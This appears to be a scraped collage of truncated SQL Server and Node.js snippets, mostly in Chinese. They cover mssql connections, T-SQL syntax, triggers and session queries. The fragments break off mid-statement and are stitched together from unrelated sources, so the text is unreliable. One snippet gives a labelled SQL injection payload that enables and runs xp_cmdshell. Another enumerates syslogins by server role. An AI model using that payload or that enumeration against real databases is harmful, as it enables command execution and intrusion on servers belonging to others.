log(err) } else { executeStatement() } }) function executeStatement () { request = new Request("select 123, 'hello world'", function (err, rowCount) { if (err) { console.log(err) } else { console.log(rowCount +
SELECT IF(TRUE,1+1,1+2); -> 2 SELECT IF(FALSE,1+1,1+2); -> 3 SELECT IF(STRCMP("111","222"),"不相等","相等"); -> 不相等 1. 2. 3. 4. 5. 6. 7. 8. update salary set sex = if(sex = 'm','f','m') 1. 4、模糊匹配 通配符是SQL的WHERE子句中的特殊含义字符,子句...
SELECT session_Id,spid,ecid,DB_NAME (sp.dbid),nt_username,er.status,wait_type, [Individual Query] =SUBSTRING (qt.text,er.statement_start_offset / 2, ( CASE WHEN er.statement_end_offset = -1 THEN LEN (CONVERT (NVARCHAR (MAX), qt.text)) * 2 ELSE er.statement_end_offset END - er...
SELECT name FROM master..syslogins WHERE setupadmin = 1; SELECT name FROM master..syslogins WHERE processadmin = 1; SELECT name FROM master..syslogins WHERE diskadmin = 1; SELECT name FROM master..syslogins WHERE dbcreator = 1; SELECT name FROM master..syslogins WHERE bulkadmin = 1; 1. ...
(ts);awaitreq.query('query string');// 事务中使用 Prepared Statementconstps=newPreparedStatement(ts);// ... ps 操作awaitts.rollback();// ts.commit();}asyncfunctionquery(config:MssqlConfig){constconn=awaitmssqlConnect(config);constreq=newRequest(conn);constres=awaitreq.query('select * ...
EXECUTE --动态地执行SQL 语句 DESCRIBE --描述准备好的查询 ---局部变量 declare @id char(10) --set @id = '10010001' select @id = '10010001' ---全局变量 ---必须以@@开头 --IF ELSE declare @x int @y int @z int select @x = 1 @y = 2 @z=3 ...
{sql_statement [;][...n]|external name <method specifier [;]>} <method_specifier> ::=assembly_name.class_name.method_name 使用SQL Server管理平台创建触发器的过程如下: 在SQLServer管理平台中,展开指定的服务器和数据库项,然后展开表,选择并展开要在其上创建触发器的表,如图9-1所示,右击触发器选项,...
If the login has permissions to other databases on the server and you don't need to access the currently configured default database in your application, use one of the following options:- Request the administrator to change the default database for the login using ALTER LOGIN statement or ...
{ sql_statement | statement_block } [ELSE{ sql_statement | statement_block } ] 完整的payload select1where1=1if1=1execute('exec sp_configure ''show advanced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ...
问使用Node.js从MSSQL请求数据--错误EN数据库是存放数据的仓库。它的存储空间很大，可以存放百万条、...